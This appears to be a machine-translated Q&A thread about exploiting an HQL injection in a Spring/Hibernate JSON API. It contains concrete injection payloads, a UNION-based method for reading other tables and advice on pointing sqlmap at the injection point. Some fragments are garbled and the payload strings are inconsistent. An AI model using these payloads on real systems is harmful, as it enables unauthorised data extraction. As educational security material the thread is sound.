我试图了解HQL注射的工作原理,但我需要帮助。我通过以下json向服务器发送HTTP POST请求:
{
"status":"COMMUNICATION",
"planning": {
"from": "01-20-2013",
"to": "11-12-2015"
}
}
我知道有可能在“ status”参数的末尾注入欺诈性请求,因为当我用简单的引号(例如:"status":"COMMUNICATION'"
)关闭时,服务器会返回一个Hibernate错误要求:
{
"exception": "org.springframework.dao.InvalidDataAccessApiUsageException",
"error": "Internal Server Error",
"message": "org.hibernate.QueryException: expecting ''', found '<EOF>' [SELECT com FROM com.company.CorRequest as com where com.corCommunicationId > 0 AND com.status = 'COMMUNICATION'' AND com.scheduledDate > to_timestamp('01-20-2013','MM-dd-yyyy HH24:MI') AND com.scheduledDate <= to_timestamp('11-12-2015','MM-dd-yyyy HH24:MI')]; nested exception is java.lang.IllegalArgumentException: org.hibernate.QueryException: expecting ''', found '<EOF>' [SELECT com FROM com as com where com.corCommunicationId > 0 AND com.status = 'COMMUNICATION'' AND com.scheduledDate > to_timestamp('01-20-2013','MM-dd-yyyy HH24:MI') AND com.scheduledDate <= to_timestamp('11-12-2015','MM-dd-yyyy HH24:MI')]",
"path": "/v1/comuni/",
"timestamp": 1579167902428,
"status": 500
}
当我注入"COMMUNICATION')--"
时,我得到了[[entire表,但我无能为力,您有什么想法吗?
COMMUNICATION)'--
作为恶意输入SELECT com FROM com.company.CorRequest as com where com.corCommunicationId > 0 AND com.status = 'COMMUNICATION'--' AND ...
com.status
的数据范围,并能够通过注释掉com.status = COMMUNICATION
之后的所有内容来修改查询本身的结构>那么您如何从不同的表中提取数据?这里是一些sqlmap supports的技术。最简单的方法是使用UNION query-based
注入:提交UNION ALL SELECT xy FROM different_table
作为恶意输入,并且您应该能够查询different_table
并提取数据。
现在,当然,您的设置是唯一的,并且我不知道查询周围正在运行的代码。可能会发生某些应用程序逻辑隐藏了此缺陷并使其更难/无法利用的情况。您提供的示例应该具有足够的POC才能进行修复。我写了一篇简短的文章about trusting incoming data和您应该掌握的心态。
如果您真的想尝试使用sqlmap提取数据,我建议您查看arbitrary injection point feature的文档。
根据您提供的信息进行猜测,注入点将如下所示:COMMUNICATION)'*
。